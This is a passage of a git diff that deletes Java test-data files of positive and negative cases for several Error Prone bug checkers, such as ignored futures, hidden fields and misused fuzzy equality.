a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredPositiveCases.java +++ /dev/null @@ -1,219 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.immediateFuture; - -import com.google.common.base.Function; -import com.google.common.util.concurrent.Futures; -import com.google.common.util.concurrent.ListenableFuture; -import java.util.concurrent.Executor; -import java.util.concurrent.Future; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class FutureReturnValueIgnoredPositiveCases { - - IntValue intValue = new IntValue(0); - - private static Future increment(int bar) { - return null; - } - - public T returnFutureType(T input) { - return input; - } - - public void testFutureGenerics() { - // BUG: Diagnostic contains: Future must be checked - returnFutureType(Futures.immediateCancelledFuture()); - } - - public void foo() { - int i = 1; - // BUG: Diagnostic contains: Future must be checked - increment(i); - System.out.println(i); - } - - public void bar() { - // BUG: Diagnostic contains: Future must be checked - this.intValue.increment(); - } - - public void testIntValue() { - IntValue value = new IntValue(10); - // BUG: Diagnostic contains: Future must be checked - value.increment(); - } - - public void testFunction() { - new Function>() { - @Override - public ListenableFuture apply(Object input) { - return immediateFuture(null); - } - // BUG: Diagnostic contains: Future must be checked - }.apply(null); - } - - private class IntValue { - - final int i; - - public IntValue(int i) { - this.i = i; - } - - public ListenableFuture increment() { - return immediateFuture(new IntValue(i + 1)); - } - - public void increment2() { - // BUG: Diagnostic contains: Future must be checked - this.increment(); - } - - public void increment3() { - // BUG: Diagnostic contains: Future must be checked - increment(); - } - } - - static ListenableFuture transform( - ListenableFuture input, Function function, Executor executor) { - return null; - } - - static ListenableFuture futureReturningMethod() { - return null; - } - - static ListenableFuture futureReturningMethod(Object unused) { - return null; - } - - static void consumesFuture(Future future) {} - - static void testIgnoredFuture() throws Exception { - ListenableFuture input = null; - // BUG: Diagnostic contains: nested type - Future output = transform(input, foo -> futureReturningMethod(), runnable -> runnable.run()); - - Future otherOutput = - // BUG: Diagnostic contains: nested type - transform( - input, - new Function>() { - @Override - public ListenableFuture apply(String string) { - return futureReturningMethod(); - } - }, - runnable -> runnable.run()); - - // BUG: Diagnostic contains: nested type - transform( - input, - new Function>() { - @Override - public ListenableFuture apply(String string) { - return futureReturningMethod(); - } - }, - runnable -> runnable.run()) - .get(); - - consumesFuture( - // BUG: Diagnostic contains: nested type - transform( - input, - new Function>() { - @Override - public ListenableFuture apply(String string) { - System.out.println("First generics"); - return futureReturningMethod(); - } - }, - runnable -> runnable.run())); - - consumesFuture( - transform( - input, - new Function() { - @Override - public Object apply(String string) { - // BUG: Diagnostic contains: returned future may be ignored - return futureReturningMethod(); - } - }, - runnable -> runnable.run())); - consumesFuture( - transform( - input, - new Function() { - @Override - public Object apply(String string) { - Future result = futureReturningMethod(); - // BUG: Diagnostic contains: returned future may be ignored - return result; - } - }, - runnable -> runnable.run())); - - consumesFuture( - // BUG: Diagnostic contains: nested type - transform(input, foo -> futureReturningMethod(), runnable -> runnable.run())); - - consumesFuture( - // BUG: Diagnostic contains: nested type - transform( - input, - foo -> { - return futureReturningMethod(); - }, - runnable -> runnable.run())); - - consumesFuture( - // BUG: Diagnostic contains: nested type - transform( - input, - FutureReturnValueIgnoredPositiveCases::futureReturningMethod, - runnable -> runnable.run())); - - ListenableFuture done = - transform( - // BUG: Diagnostic contains: nested type - transform( - input, - new Function>() { - @Override - public ListenableFuture apply(String string) { - return futureReturningMethod(); - } - }, - runnable -> runnable.run()), - new Function() { - @Override - public Object apply(Object string) { - return new Object(); - } - }, - runnable -> runnable.run()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypeNegativeCases.java deleted file mode 100644 index 66ccbe1cab1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypeNegativeCases.java +++ /dev/null @@ -1,58 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.getChecked; -import static java.util.concurrent.TimeUnit.SECONDS; - -import java.io.IOException; -import java.util.concurrent.Future; - -/** Negative cases for {@link FuturesGetCheckedIllegalExceptionType}. */ -public class FuturesGetCheckedIllegalExceptionTypeNegativeCases { - void runtime(Future future, Class c1, Class c2) - throws Exception { - getChecked(future, Exception.class); - getChecked(future, Exception.class, 0, SECONDS); - getChecked(future, IOException.class); - // These might or might not be RuntimeExceptions. We can't prove it one way or the other. - getChecked(future, c1); - getChecked(future, c2); - getChecked(future, null); - } - - void constructor( - Future future, Class c1, Class c2) - throws Exception { - getChecked(future, StaticNestedWithExplicitConstructorException.class); - getChecked(future, StaticNestedWithImplicitConstructorException.class); - /* - * These might be ProtectedConstructorException, but they might be a subtype with a public - * constructor. - */ - getChecked(future, c1); - getChecked(future, c2); - } - - public static class StaticNestedWithExplicitConstructorException extends Exception { - public StaticNestedWithExplicitConstructorException() {} - } - - public static class StaticNestedWithImplicitConstructorException extends Exception {} - - public static class ProtectedConstructorException extends Exception { - protected ProtectedConstructorException() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypePositiveCases.java deleted file mode 100644 index 3a8cd333654..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypePositiveCases.java +++ /dev/null @@ -1,78 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.getChecked; -import static java.util.concurrent.TimeUnit.SECONDS; - -import java.util.concurrent.Future; - -/** Positive cases for {@link FuturesGetCheckedIllegalExceptionType}. */ -public class FuturesGetCheckedIllegalExceptionTypePositiveCases { - void runtime( - Future future, Class c1, Class c2) throws Exception { - // BUG: Diagnostic contains: getUnchecked(future) - getChecked(future, RuntimeException.class); - // BUG: Diagnostic contains: getUnchecked(future) - getChecked(future, IllegalArgumentException.class); - // BUG: Diagnostic contains: getUnchecked(future) - getChecked(future, RuntimeException.class, 0, SECONDS); - // BUG: Diagnostic contains: getUnchecked(future) - getChecked(future, c1); - // BUG: Diagnostic contains: getUnchecked(future) - getChecked(future, c2); - } - - void visibility(Future future) throws Exception { - // BUG: Diagnostic contains: parameters - getChecked(future, PrivateConstructorException.class); - // BUG: Diagnostic contains: parameters - getChecked(future, PackagePrivateConstructorException.class); - // BUG: Diagnostic contains: parameters - getChecked(future, ProtectedConstructorException.class); - } - - void parameters(Future future) throws Exception { - // BUG: Diagnostic contains: parameters - getChecked(future, OtherParameterTypeException.class); - // TODO(cpovirk): Consider a specialized error message if inner classes prove to be common. - // BUG: Diagnostic contains: parameters - getChecked(future, InnerClassWithExplicitConstructorException.class); - // BUG: Diagnostic contains: parameters - getChecked(future, InnerClassWithImplicitConstructorException.class); - } - - public static class PrivateConstructorException extends Exception { - private PrivateConstructorException() {} - } - - public static class PackagePrivateConstructorException extends Exception { - PackagePrivateConstructorException() {} - } - - public static class ProtectedConstructorException extends Exception { - protected ProtectedConstructorException() {} - } - - public class OtherParameterTypeException extends Exception { - public OtherParameterTypeException(int it) {} - } - - public class InnerClassWithExplicitConstructorException extends Exception { - public InnerClassWithExplicitConstructorException() {} - } - - public class InnerClassWithImplicitConstructorException extends Exception {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java deleted file mode 100644 index 5dfc652a1a1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.math.DoubleMath; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases { - public boolean equals() { - return true; - } - - private static class TestClass { - public void test() { - boolean t = DoubleMath.fuzzyEquals(0, 2, 0.3); - } - - public boolean equals(Object other) { - return true; - } - - public boolean equals(Object other, double a) { - return DoubleMath.fuzzyEquals(0, 1, 0.2); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java deleted file mode 100644 index 84d0d8551f4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.math.DoubleMath; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases { - - public boolean equals(Object o) { - // BUG: Diagnostic contains: DoubleMath.fuzzyEquals should never - DoubleMath.fuzzyEquals(0.2, 9.3, 2.0); - return true; - } - - private class TestClass { - - public boolean equals(Object other) { - double x = 0, y = 0, z = 0; - // BUG: Diagnostic contains: DoubleMath.fuzzyEquals should never - return DoubleMath.fuzzyEquals(x, y, z); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassNegativeCases.java deleted file mode 100644 index 1216821e878..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassNegativeCases.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author chy@google.com (Christine Yang) - * @author kmuhlrad@google.com (Katy Muhlrad) - */ -public class GetClassOnClassNegativeCases { - - public void getClassOnClass(Object obj) { - System.out.println(obj.getClass().getName()); - } - - public void getClassOnClass2() { - String s = "hi"; - DummyObject.getClass(s); - } - - public static class DummyObject { - public static boolean getClass(Object a) { - return true; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassPositiveCases.java deleted file mode 100644 index 740fe841ebe..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassPositiveCases.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author chy@google.com (Christine Yang) - * @author kmuhlrad@google.com (Katy Muhlrad) - */ -public class GetClassOnClassPositiveCases { - - public void getClassOnClass(Class clazz) { - // BUG: Diagnostic contains: clazz.getName() - System.out.println(clazz.getClass().getName()); - } - - public void getClassOnClass2() { - String s = "hi"; - // BUG: Diagnostic contains: s.getClass().getName() - s.getClass().getClass().getName(); - } - - public void getClassOnClass3() { - // BUG: Diagnostic contains: String.class.getName() - System.out.println(String.class.getClass().getName()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldNegativeCases.java deleted file mode 100644 index 76b05828bf0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldNegativeCases.java +++ /dev/null @@ -1,60 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sulku@google.com (Marsela Sulku) - * @author mariasam@google.com (Maria Sam) - */ -public class HidingFieldNegativeCases { - // base class - static class ClassA { - public int varOne; - } - - // subclass with member variables of different names - static class ClassB extends ClassA { - private String varTwo; - private int varThree; - public static int varFour; - public int varFive; - } - - // subclass with initialized member variable of different name - static class ClassC extends ClassB { - // publicly-visible static members in superclasses are pretty uncommon, and generally - // referred to by qualification, so this 'override' is OK - private String varFour = "Test"; - - // The supertype's visibility is private, so this redeclaration is OK. - private int varThree; - - // warning suppressed when overshadowing variable in parent - @SuppressWarnings("HidingField") - public int varFive; - - // warning suppressed when overshadowing variable in grandparent - @SuppressWarnings("HidingField") - public int varOne; - } - - // subclass with member *methods* with the same name as superclass member variable -- this is ok - static class ClassD extends ClassC { - public void varThree() {} - - public void varTwo() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases1.java deleted file mode 100644 index 0e85dab15c7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases1.java +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sulku@google.com (Marsela Sulku) - * @author mariasam@google.com (Maria Sam) - */ -public class HidingFieldPositiveCases1 { - - /** base class */ - public static class ClassA { - protected String varOne; - public int varTwo; - String varThree; - } - - /** ClassB has a field with the same name as one in its parent. */ - public static class ClassB extends ClassA { - // BUG: Diagnostic contains: superclass: ClassA - private String varOne = "Test"; - } - - /** ClassC has a field with the same name as one in its grandparent. */ - public static class ClassC extends ClassB { - // BUG: Diagnostic contains: superclass: ClassA - public int varTwo; - } - - /** - * ClassD has multiple fields with the same name as those in its grandparent, as well as other - * unrelated members. - */ - public static class ClassD extends ClassB { - // BUG: Diagnostic contains: superclass: ClassA - protected int varThree; - // BUG: Diagnostic contains: superclass: ClassA - int varTwo; - String randOne; - String randTwo; - } - - /** ClassE has same variable name as grandparent */ - public static class ClassE extends ClassC { - // BUG: Diagnostic contains: superclass: ClassC - public String varTwo; - } - - public static class ClassF extends ClassA { - @SuppressWarnings("HidingField") // no warning because it's suppressed - public String varThree; - } - - public static class ClassG extends ClassF { - // BUG: Diagnostic contains: superclass: ClassF - String varThree; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases2.java deleted file mode 100644 index 8f122f392d2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases2.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sulku@google.com (Marsela Sulku) - * @author mariasam@google.com (Maria Sam) - */ -public class HidingFieldPositiveCases2 { - - /** - * ClassA extends a class from a different file and ClassA has a member with the same name as its - * parent - */ - public class ClassA extends HidingFieldPositiveCases1.ClassB { - // BUG: Diagnostic contains: superclass: ClassA - private int varTwo; - } - - /** - * ClassB extends a class from a different file and ClassB has a member with the same name as its - * grandparent - */ - public class ClassB extends HidingFieldPositiveCases1.ClassB { - // BUG: Diagnostic contains: superclass: ClassA - public int varOne = 2; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingNegativeCases.java deleted file mode 100644 index ab776a94da4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingNegativeCases.java +++ /dev/null @@ -1,80 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.truth.FailureMetadata; -import com.google.common.truth.Subject; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ImplementAssertionWithChainingNegativeCases { - static final class FooSubject extends Subject { - private final Foo actual; - - private FooSubject(FailureMetadata metadata, Foo actual) { - super(metadata, actual); - this.actual = actual; - } - - void doesNotHaveString(String other) { - if (actual.string().equals(other)) { - failWithActual("expected not to have string", other); - } - } - - void doesNotHaveInteger(int other) { - if (actual.integer() == other) { - failWithActual("expected not to have integer", other); - } - } - - void hasBoxedIntegerSameInstance(Integer expected) { - if (actual.boxedInteger() != expected) { - failWithActual("expected to have boxed integer", expected); - } - } - } - - private static final class Foo { - final String string; - final int integer; - final Integer boxedInteger; - - Foo(String string, int integer, Integer boxedInteger) { - this.string = string; - this.integer = integer; - this.boxedInteger = boxedInteger; - } - - String string() { - return string; - } - - int integer() { - return integer; - } - - Integer boxedInteger() { - return boxedInteger; - } - - Foo otherFoo() { - return this; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingPositiveCases.java deleted file mode 100644 index 27ea8c9bb2c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingPositiveCases.java +++ /dev/null @@ -1,107 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.truth.FailureMetadata; -import com.google.common.truth.Subject; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ImplementAssertionWithChainingPositiveCases { - static final class FooSubject extends Subject { - private final Foo actual; - - private FooSubject(FailureMetadata metadata, Foo actual) { - super(metadata, actual); - this.actual = actual; - } - - void hasString(String expected) { - // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) - if (!actual.string().equals(expected)) { - failWithActual("expected to have string", expected); - } - } - - void hasStringGuavaObjectsEqual(String expected) { - // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) - if (!com.google.common.base.Objects.equal(actual.string(), expected)) { - failWithActual("expected to have string", expected); - } - } - - void hasStringJavaObjectsEquals(String expected) { - // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) - if (!java.util.Objects.equals(actual.string(), expected)) { - failWithActual("expected to have string", expected); - } - } - - void hasInteger(int expected) { - // BUG: Diagnostic contains: check("integer()").that(actual.integer()).isEqualTo(expected) - if (actual.integer() != expected) { - failWithActual("expected to have integer", expected); - } - } - - void hasKind(Kind expected) { - // BUG: Diagnostic contains: check("kind()").that(actual.kind()).isEqualTo(expected) - if (actual.kind() != expected) { - failWithActual("expected to have kind", expected); - } - } - - void hasOtherFooInteger(int expected) { - // BUG: Diagnostic contains: - // check("otherFoo().integer()").that(actual.otherFoo().integer()).isEqualTo(expected) - if (actual.otherFoo().integer() != expected) { - failWithActual("expected to have other foo with integer", expected); - } - } - } - - private static final class Foo { - final String string; - final int integer; - final Kind kind; - - Foo(String string, int integer, Kind kind) { - this.string = string; - this.integer = integer; - this.kind = kind; - } - - String string() { - return string; - } - - int integer() { - return integer; - } - - Kind kind() { - return kind; - } - - Foo otherFoo() { - return this; - } - } - - private enum Kind {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InconsistentCapitalizationNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InconsistentCapitalizationNegativeCases.java deleted file mode 100644 index e3080b91ffb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InconsistentCapitalizationNegativeCases.java +++ /dev/null @@ -1,174 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** Negative cases for {@link com.google.errorprone.bugpatterns.InconsistentCapitalizationTest}. */ -public class InconsistentCapitalizationNegativeCases { - - public void doesntConflictWithOtherVariables() { - int aa; - int aA; - } - - public void doesntConflictWithVariableOutOfScope() { - if (true) { - int a; - } - if (true) { - int a; - } - } - - public void doesntConflictBetweenForVariables() { - for (int i = 0; i < 1; i++) {} - - for (int i = 0; i < 1; i++) {} - } - - private class DoesntConflictBetweenMethods { - int a; - - void a() {} - - void b(int baba) { - int c = baba; - if (c == baba) {} - } - - void c() { - int c; - } - } - - private static class DoesntConflictWithClass { - - static int B; - - static class A { - - static int A; - } - - class B {} - } - - private static class DoesAllowUpperCaseStaticVariable { - - static int A; - - void method() { - int a; - } - } - - private enum DoesntConflictWithUpperCaseEnum { - TEST; - - private Object test; - } - - public void doesntConflictWithMethodParameter(long aa) { - int aA; - } - - private class DoesntConflictWithConstructorParameter { - - DoesntConflictWithConstructorParameter(Object aa) { - Object aA; - } - } - - private class DoesntConflictOutOfScope { - - class A { - private Object aaa; - private Object aab; - } - - class B { - private Object aaA; - - void method(String aaB) { - char aAb; - } - } - } - - private static class DoesntReplaceMember { - - class A { - Object aa; - Object ab; - - void method() { - B b = new B(); - aa = b.aA; - ab = b.aB.aA; - new B().aA(); - aa.equals(ab); - aa.equals(b.aB.aA); - aa.equals(b.aB); - } - } - - class B { - Object aA; - C aB = new C(); - - void aA() {} - } - - class C { - Object aA; - } - } - - class DoesntConflictWithNested { - Object aa; - Object ab; - - class Nested { - Object aB; - - Nested(Object aa) { - DoesntConflictWithNested.this.aa = aa; - } - - class Nested2 { - Object aB; - - Nested2(Object aa) { - DoesntConflictWithNested.this.aa = aa; - } - } - } - } - - static class DoesntFixExternalParentClassFieldMatch { - - static class Parent { - Object aa; - } - - static class Child extends Parent { - - Child(Object aA) { - aa = aA; - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderNegativeCases.java deleted file mode 100644 index 06d0a5a9d9f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderNegativeCases.java +++ /dev/null @@ -1,79 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.List; - -/** Created by mariasam on 7/20/17. */ -public class IncrementInForLoopAndHeaderNegativeCases { - - public void arrayInc() { - for (int[] level = {}; level[0] > 10; level[0]--) { - System.out.println("test"); - } - } - - public void emptyForLoop() { - for (int i = 0; i < 2; i++) {} - } - - public void inIf() { - for (int i = 0; i < 20; i++) { - if (i == 7) { - i++; - } - } - } - - public void inWhile() { - for (int i = 0; i < 20; i++) { - while (i == 7) { - i++; - } - } - } - - public void inDoWhile() { - for (int i = 0; i < 20; i++) { - do { - i++; - } while (i == 7); - } - } - - public void inFor() { - for (int i = 0; i < 20; i++) { - for (int a = 0; a < i; a++) { - i++; - } - } - } - - public void inForEach(List list) { - for (int i = 0; i < 10; i++) { - for (String s : list) { - i++; - } - } - } - - public void otherVarInc() { - for (int i = 0; i < 2; i++) { - int a = 0; - a++; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderPositiveCases.java deleted file mode 100644 index 2e7a5e6cd44..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderPositiveCases.java +++ /dev/null @@ -1,98 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) - */ -public class IncrementInForLoopAndHeaderPositiveCases { - - public void basicTest() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) { - i++; - } - } - - public void decrement() { - // BUG: Diagnostic contains: increment - for 